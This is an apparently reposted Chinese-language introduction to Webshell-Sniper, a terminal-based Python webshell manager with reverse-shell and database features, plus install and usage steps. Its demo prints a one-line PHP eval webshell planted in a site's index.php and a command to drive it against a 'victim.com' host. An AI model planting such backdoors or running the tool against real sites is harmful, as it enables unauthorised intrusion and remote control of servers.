Webshell-Sniper是一款使用Python編寫的基于終端的Webshell管理器,和以往我們分享的Webshell管理工具有所不同,所有操作都在終端中完成。使用它可對您的網站進行遠程管理。雖然它沒有圖形化的GUI也沒有WEB界面,但這樣的操作也是另有一翻感覺。

功能

  • 基于終端的shell交互
  • 反向連接shell(這就能做非常多的事了)
  • 數據庫管理

Webshell-Sniper安裝與使用

環境

服務端 :
   Linux
   python 2.7
客戶端 :
   apache 2.4
   php 7.0

需要注意的是,Webshell-Sniper服務端只支持Unix系統環境。

安裝

git clone https://github.com/WangYihang/Webshell-Sniper
cd Webshell-Sniper
pip install -r requirements.txt

使用

Usage : 
        python webshell-sniper.py [URL] [METHOD] [AUTH]
Example : 
        python webshell-sniper.py http://127.0.0.1/c.php POST c
# Demo
# cat /var/www/html/index.php
 eval($_POST['s3cr3t']);?>
# python webshell-sniper.py http://victim.com/index.php POST s3cr3t
...

Webshell-Sniper視頻演示

https://www.youtube.com/watch?v=iAUwb8SSS4shttps://asciinema.org/a/130893